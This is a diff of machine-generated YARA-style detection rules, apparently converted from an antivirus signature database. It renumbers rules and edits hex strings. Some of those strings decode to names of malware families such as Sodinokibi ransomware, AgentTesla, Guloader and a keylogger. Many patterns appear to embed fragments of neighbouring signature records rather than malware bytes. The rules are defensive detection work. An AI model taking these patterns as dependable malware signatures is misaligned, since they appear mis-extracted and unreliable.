_InfrastructureShared_7540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74762,7 +79093,7 @@ rule _InfrastructureShared_7131{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7132{ +rule _InfrastructureShared_7541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74772,7 +79103,7 @@ rule _InfrastructureShared_7132{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7133{ +rule _InfrastructureShared_7542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74782,7 +79113,7 @@ rule _InfrastructureShared_7133{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7134{ +rule _InfrastructureShared_7543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74792,7 +79123,7 @@ rule _InfrastructureShared_7134{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7135{ +rule _InfrastructureShared_7544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74802,7 +79133,7 @@ rule _InfrastructureShared_7135{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7136{ +rule _InfrastructureShared_7545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74812,7 +79143,7 @@ rule _InfrastructureShared_7136{ ((#a_6c_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7137{ +rule _InfrastructureShared_7546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74822,7 +79153,7 @@ rule _InfrastructureShared_7137{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7138{ +rule _InfrastructureShared_7547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74832,7 +79163,7 @@ rule _InfrastructureShared_7138{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7139{ +rule _InfrastructureShared_7548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74842,7 +79173,7 @@ rule _InfrastructureShared_7139{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7140{ +rule _InfrastructureShared_7549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74852,7 +79183,7 @@ rule _InfrastructureShared_7140{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7141{ +rule _InfrastructureShared_7550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74862,7 +79193,7 @@ rule _InfrastructureShared_7141{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7142{ +rule _InfrastructureShared_7551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74872,7 +79203,7 @@ rule _InfrastructureShared_7142{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7143{ +rule _InfrastructureShared_7552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74882,7 +79213,7 @@ rule _InfrastructureShared_7143{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7144{ +rule _InfrastructureShared_7553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74892,7 +79223,7 @@ rule _InfrastructureShared_7144{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7145{ +rule _InfrastructureShared_7554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74902,7 +79233,7 @@ rule _InfrastructureShared_7145{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7146{ +rule _InfrastructureShared_7555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74912,7 +79243,7 @@ rule _InfrastructureShared_7146{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7147{ +rule _InfrastructureShared_7556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -74923,7 +79254,7 @@ rule _InfrastructureShared_7147{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*791) >=1 } -rule _InfrastructureShared_7148{ +rule _InfrastructureShared_7557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -74934,7 +79265,7 @@ rule _InfrastructureShared_7148{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28655) >=1 } -rule _InfrastructureShared_7149{ +rule _InfrastructureShared_7558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -74945,7 +79276,7 @@ rule _InfrastructureShared_7149{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-29952) >=1 } -rule _InfrastructureShared_7150{ +rule _InfrastructureShared_7559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -74956,7 +79287,7 @@ rule _InfrastructureShared_7150{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*0) >=1 } -rule _InfrastructureShared_7151{ +rule _InfrastructureShared_7560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -74967,19 +79298,19 @@ rule _InfrastructureShared_7151{ ((#a_66_0 & 1)*20259+(#a_00_1 & 1)*-1) >=1 } -rule _InfrastructureShared_7152{ +rule _InfrastructureShared_7561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 42 61 6e 6c 6f 61 64 58 6f 72 50 72 65 76 32 00 01 00 22 03 0f b7 5c 70 fe 33 5d 90 01 01 3b fb 7c 0a 81 c3 ff 00 00 00 2b df eb 02 2b df 90 09 03 00 8b 45 90 00 ff ff 10 01 52 65 67 43 6f 64 65 49 6e 66 6f 2e 64 6c 6c 00 ff ff 16 01 50 00 43 00 } //18467 $a_00_1 = {53 00 2e 00 50 00 43 00 41 00 55 00 58 00 00 00 78 73 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 53 6f 64 69 6e 6f 6b 69 62 69 43 72 79 70 74 2e 53 58 21 4d 54 42 00 02 00 3d 03 8a } //83 - $a_84_2 = {90 01 01 00 00 00 50 51 ff 15 90 01 04 8b cd 2b 4c 24 90 01 01 03 ce 8d 44 09 02 8b 0d 90 01 04 0f af c6 03 c1 32 d8 88 5c 0c 90 01 01 8b 0d 90 01 04 85 c9 74 90 00 00 00 78 73 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 43 43 21 4d 54 42 00 02 00 42 01 11 06 09 11 05 94 58 11 04 11 05 94 58 28 68 00 00 06 28 35 00 00 0a 5d 13 06 09 11 05 94 13 0b 09 } //5916 + $a_84_2 = {90 01 01 00 00 00 50 51 ff 15 90 01 04 8b cd 2b 4c 24 90 01 01 03 ce 8d 44 09 02 8b 0d 90 01 04 0f af c6 03 c1 32 d8 88 5c 0c 90 01 01 8b 0d 90 01 04 85 c9 74 90 00 00 00 78 73 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 65 79 4c 6f 67 67 65 72 2e 53 4e 21 4d 54 42 00 02 00 43 01 48 8b 05 58 21 10 00 ff d0 83 c0 01 89 c2 48 8b 45 b8 89 54 24 28 48 8d 55 c0 48 89 54 24 20 41 b9 01 } //5916 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*83+(#a_84_2 & 1)*5916) >=1 } -rule _InfrastructureShared_7153{ +rule _InfrastructureShared_7562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -74989,17 +79320,7 @@ rule _InfrastructureShared_7153{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7154{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 43 43 21 4d 54 42 00 02 00 42 01 11 06 09 11 05 94 58 11 04 11 05 94 58 28 68 00 00 06 28 35 00 00 0a 5d 13 06 09 11 05 94 13 0b 09 11 05 09 11 06 94 9e 09 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=2 - -} -rule _InfrastructureShared_7155{ +rule _InfrastructureShared_7563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -75009,7 +79330,7 @@ rule _InfrastructureShared_7155{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7156{ +rule _InfrastructureShared_7564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75019,7 +79340,7 @@ rule _InfrastructureShared_7156{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7157{ +rule _InfrastructureShared_7565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75029,7 +79350,7 @@ rule _InfrastructureShared_7157{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7158{ +rule _InfrastructureShared_7566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75040,7 +79361,7 @@ rule _InfrastructureShared_7158{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*12592) >=2 } -rule _InfrastructureShared_7159{ +rule _InfrastructureShared_7567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75051,7 +79372,7 @@ rule _InfrastructureShared_7159{ ((#a_46_0 & 1)*16675+(#a_83_1 & 1)*-15485) >=2 } -rule _InfrastructureShared_7160{ +rule _InfrastructureShared_7568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75062,7 +79383,7 @@ rule _InfrastructureShared_7160{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*13056) >=2 } -rule _InfrastructureShared_7161{ +rule _InfrastructureShared_7569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75073,7 +79394,7 @@ rule _InfrastructureShared_7161{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*27745) >=2 } -rule _InfrastructureShared_7162{ +rule _InfrastructureShared_7570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75084,7 +79405,7 @@ rule _InfrastructureShared_7162{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114) >=2 } -rule _InfrastructureShared_7163{ +rule _InfrastructureShared_7571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75095,7 +79416,7 @@ rule _InfrastructureShared_7163{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*99) >=2 } -rule _InfrastructureShared_7164{ +rule _InfrastructureShared_7572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75105,7 +79426,7 @@ rule _InfrastructureShared_7164{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7165{ +rule _InfrastructureShared_7573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75116,7 +79437,7 @@ rule _InfrastructureShared_7165{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*121) >=2 } -rule _InfrastructureShared_7166{ +rule _InfrastructureShared_7574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75127,7 +79448,7 @@ rule _InfrastructureShared_7166{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*28438) >=2 } -rule _InfrastructureShared_7167{ +rule _InfrastructureShared_7575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75138,7 +79459,7 @@ rule _InfrastructureShared_7167{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*-29948) >=2 } -rule _InfrastructureShared_7168{ +rule _InfrastructureShared_7576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75149,7 +79470,7 @@ rule _InfrastructureShared_7168{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*25697) >=2 } -rule _InfrastructureShared_7169{ +rule _InfrastructureShared_7577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -75160,7 +79481,7 @@ rule _InfrastructureShared_7169{ ((#a_5f_0 & 1)*25635+(#a_23_1 & 1)*3) >=2 } -rule _InfrastructureShared_7170{ +rule _InfrastructureShared_7578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -75172,7 +79493,7 @@ rule _InfrastructureShared_7170{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_73_2 & 1)*0) >=2 } -rule _InfrastructureShared_7171{ +rule _InfrastructureShared_7579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -75183,7 +79504,7 @@ rule _InfrastructureShared_7171{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*110) >=2 } -rule _InfrastructureShared_7172{ +rule _InfrastructureShared_7580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -75195,7 +79516,7 @@ rule _InfrastructureShared_7172{ ((#a_46_0 & 1)*16675+(#a_22_1 & 1)*29797+(#a_72_2 & 1)*29793) >=2 } -rule _InfrastructureShared_7173{ +rule _InfrastructureShared_7581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -75206,7 +79527,7 @@ rule _InfrastructureShared_7173{ ((#a_4c_0 & 1)*21539+(#a_01_2 & 1)*-28632) >=2 } -rule _InfrastructureShared_7174{ +rule _InfrastructureShared_7582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -75223,7 +79544,7 @@ rule _InfrastructureShared_7174{ ((#a_5f_0 & 1)*25635+(#a_23_1 & 1)*3+(#a_64_2 & 1)*384+(#a_34_3 & 1)*28265+(#a_70_4 & 1)*11364+(#a_41_7 & 1)*8448+(#a_90_8 & 1)*-5287+(#a_00_9 & 1)*1259) >=2 } -rule _InfrastructureShared_7175{ +rule _InfrastructureShared_7583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -75235,7 +79556,7 @@ rule _InfrastructureShared_7175{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*31329+(#a_2c_2 & 1)*9504) >=3 } -rule _InfrastructureShared_7176{ +rule _InfrastructureShared_7584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -75247,7 +79568,7 @@ rule _InfrastructureShared_7176{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*9504+(#a_74_2 & 1)*-25595) >=3 } -rule _InfrastructureShared_7177{ +rule _InfrastructureShared_7585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -75258,7 +79579,7 @@ rule _InfrastructureShared_7177{ ((#a_77_0 & 1)*16675+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_7178{ +rule _InfrastructureShared_7586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -75270,7 +79591,7 @@ rule _InfrastructureShared_7178{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*272+(#a_61_2 & 1)*27758) >=3 } -rule _InfrastructureShared_7179{ +rule _InfrastructureShared_7587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -75282,7 +79603,7 @@ rule _InfrastructureShared_7179{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28261+(#a_74_2 & 1)*25956) >=3 } -rule _InfrastructureShared_7180{ +rule _InfrastructureShared_7588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -75294,7 +79615,7 @@ rule _InfrastructureShared_7180{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26465+(#a_46_2 & 1)*-32748) >=3 } -rule _InfrastructureShared_7181{ +rule _InfrastructureShared_7589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -75306,7 +79627,7 @@ rule _InfrastructureShared_7181{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*25972+(#a_64_2 & 1)*28535) >=3 } -rule _InfrastructureShared_7182{ +rule _InfrastructureShared_7590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -75318,7 +79639,7 @@ rule _InfrastructureShared_7182{ ((#a_6f_0 & 1)*21539+(#a_6f_1 & 1)*21539+(#a_46_2 & 1)*16675) >=3 } -rule _InfrastructureShared_7183{ +rule _InfrastructureShared_7591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -75330,7 +79651,7 @@ rule _InfrastructureShared_7183{ ((#a_6f_0 & 1)*21539+(#a_46_1 & 1)*16675+(#a_6f_2 & 1)*24910) >=3 } -rule _InfrastructureShared_7184{ +rule _InfrastructureShared_7592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -75343,7 +79664,7 @@ rule _InfrastructureShared_7184{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*24910+(#a_72_2 & 1)*25345+(#a_65_3 & 1)*11884) >=3 } -rule _InfrastructureShared_7185{ +rule _InfrastructureShared_7593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -75356,7 +79677,7 @@ rule _InfrastructureShared_7185{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*30066+(#a_6c_2 & 1)*25458+(#a_69_3 & 1)*26996) >=3 } -rule _InfrastructureShared_7186{ +rule _InfrastructureShared_7594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -75368,7 +79689,7 @@ rule _InfrastructureShared_7186{ ((#a_77_0 & 1)*16675+(#a_00_2 & 1)*0+(#a_53_3 & 1)*8993) >=4 } -rule _InfrastructureShared_7187{ +rule _InfrastructureShared_7595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -75381,7 +79702,7 @@ rule _InfrastructureShared_7187{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26489+(#a_65_2 & 1)*29537+(#a_62_3 & 1)*28261) >=4 } -rule _InfrastructureShared_7188{ +rule _InfrastructureShared_7596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -75389,36 +79710,49 @@ rule _InfrastructureShared_7188{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 47 31 32 33 21 4d 54 42 00 01 00 0a 81 01 6f 76 65 72 74 69 6d 65 72 73 01 00 0a 81 01 70 6c 61 6e 6f 6d 65 74 72 79 01 00 0a 81 01 73 65 6d 69 72 65 6c 69 65 66 01 00 17 81 01 6b 6c 61 73 73 } //18467 $a_64_1 = {72 76 69 73 6e 69 6e 67 65 72 6e 65 73 00 00 78 73 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 43 31 32 33 21 4d 54 42 00 01 00 18 81 01 74 69 67 65 72 65 73 20 72 73 20 69 6d 6d 75 6e 69 7a 61 74 69 6f 6e 73 01 00 07 81 01 62 75 63 63 61 74 65 01 00 0e 81 01 69 6e 74 72 6f } //30053 $a_6e_2 = {62 61 6e 64 01 00 08 81 01 73 63 65 6e 65 72 6e 65 00 00 78 73 00 00 04 00 04 00 04 00 21 23 4f 46 4e 3a 77 69 6e 72 61 72 2e 65 78 65 00 01 00 0a 80 01 57 69 6e 52 41 52 2e 70 64 62 01 00 0f 80 01 57 69 6e 52 41 52 5f 44 72 61 67 44 72 6f 70 01 00 14 80 01 48 4b 4c 4d 5c 53 6f 66 74 77 61 72 65 5c 57 } //25700 - $a_41_3 = {01 00 19 80 01 57 69 6e 52 41 52 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 00 00 78 73 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 42 5a 21 4d 54 42 00 05 00 46 01 72 3d 00 } //28265 + $a_41_3 = {01 00 19 80 01 57 69 6e 52 41 52 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 00 00 78 73 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 62 61 72 00 02 00 19 80 01 69 6e 73 74 61 6c 6c 2e 6d 75 6c 74 69 6e } //28265 condition: ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*30053+(#a_6e_2 & 1)*25700+(#a_41_3 & 1)*28265) >=4 } -rule _InfrastructureShared_7189{ +rule _InfrastructureShared_7597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 43 31 32 33 21 4d 54 42 00 01 00 18 81 01 74 69 67 65 72 65 73 20 72 73 20 69 6d 6d 75 6e 69 7a 61 74 69 6f 6e 73 01 00 07 81 01 62 75 63 63 61 74 65 01 00 0e 81 01 69 6e 74 72 6f 64 64 65 6e } //18467 $a_6e_1 = {01 00 08 81 01 73 63 65 6e 65 72 6e 65 00 00 78 73 00 00 04 00 04 00 04 00 21 23 4f 46 4e 3a 77 69 6e 72 61 72 2e 65 78 65 00 01 00 0a 80 01 57 69 6e 52 41 52 2e 70 64 62 01 00 0f 80 01 57 69 6e 52 41 52 5f 44 72 61 67 44 72 6f 70 01 00 14 80 01 48 4b 4c 4d 5c 53 6f 66 74 77 61 72 65 5c 57 } //25120 - $a_41_2 = {01 00 19 80 01 57 69 6e 52 41 52 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 00 00 78 73 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 42 5a 21 4d 54 42 00 05 00 46 01 72 3d 00 } //28265 - $a_72_3 = {01 00 70 28 2b 00 00 } //28672 + $a_41_2 = {01 00 19 80 01 57 69 6e 52 41 52 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 00 00 78 73 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 62 61 72 00 02 00 19 80 01 69 6e 73 74 61 6c 6c 2e 6d 75 6c 74 69 6e } //28265 + $a_6c_3 = {65 72 2e 63 6f 6d 01 00 09 80 01 74 69 63 6e 6f 2e 63 6f 6d 01 00 0f 80 01 53 68 6f 77 4f 77 6e 65 64 50 6f 70 75 70 73 01 00 11 80 01 59 61 6e 64 65 78 53 65 61 72 63 68 41 6c 6c 6f 77 00 00 78 73 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c } //29811 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25120+(#a_41_2 & 1)*28265+(#a_72_3 & 1)*28672) >=4 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25120+(#a_41_2 & 1)*28265+(#a_6c_3 & 1)*29811) >=4 } -rule _InfrastructureShared_7190{ +rule _InfrastructureShared_7598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4e_0 = {77 69 6e 72 61 72 2e 65 78 65 00 01 00 0a 80 01 57 69 6e 52 41 52 2e 70 64 62 01 00 0f 80 01 57 69 6e 52 41 52 5f 44 72 61 67 44 72 6f 70 01 00 14 80 01 48 4b 4c 4d 5c 53 6f 66 74 77 61 72 65 5c 57 69 6e 52 41 } //20259 - $a_6e_2 = {41 52 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 00 00 78 73 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 42 5a 21 4d 54 42 00 05 00 46 01 72 3d 00 00 70 07 72 94 01 00 70 28 2b 00 00 0a 0c 06 72 dc 01 00 70 28 29 00 00 0a 08 28 2c 00 00 0a 72 } //22273 + $a_6e_2 = {41 52 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 00 00 78 73 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 62 61 72 00 02 00 19 80 01 69 6e 73 74 61 6c 6c 2e 6d 75 6c 74 69 6e 73 74 61 6c 6c 65 72 2e 63 6f 6d 01 00 09 80 01 74 69 63 6e 6f 2e 63 6f 6d 01 00 0f 80 01 53 68 } //22273 + $a_77_3 = {65 64 50 6f 70 75 70 73 01 00 11 80 01 59 61 6e 64 65 78 53 65 61 72 63 68 41 6c 6c 6f 77 00 00 78 73 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 42 5a 21 4d 54 42 00 05 00 46 01 } //30575 condition: - ((#a_4e_0 & 1)*20259+(#a_6e_2 & 1)*22273) >=4 + ((#a_4e_0 & 1)*20259+(#a_6e_2 & 1)*22273+(#a_77_3 & 1)*30575) >=4 } -rule _InfrastructureShared_7191{ +rule _InfrastructureShared_7599{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 4d 75 6c 74 69 62 61 72 00 02 00 19 80 01 69 6e 73 74 61 6c 6c 2e 6d 75 6c 74 69 6e 73 74 61 6c 6c 65 72 2e 63 6f 6d 01 00 09 80 01 74 69 63 6e 6f 2e 63 6f 6d 01 00 0f 80 01 53 68 6f 77 4f 77 6e 65 64 50 6f 70 75 70 73 01 00 11 80 01 59 } //20515 + $a_65_1 = {53 65 61 72 63 68 41 6c 6c 6f 77 00 00 78 73 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 42 5a 21 4d 54 42 00 05 00 46 01 72 3d 00 00 70 07 72 94 01 00 70 28 2b 00 00 0a 0c 06 72 dc 01 00 70 28 29 00 00 0a 08 28 2c 00 00 0a 72 ea 01 00 70 03 } //28257 + $a_00_2 = {70 28 } //14962 p( + condition: + ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*28257+(#a_00_2 & 1)*14962) >=4 + +} +rule _InfrastructureShared_7600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -75428,20 +79762,57 @@ rule _InfrastructureShared_7191{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_7192{ +rule _InfrastructureShared_7601{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6c 61 63 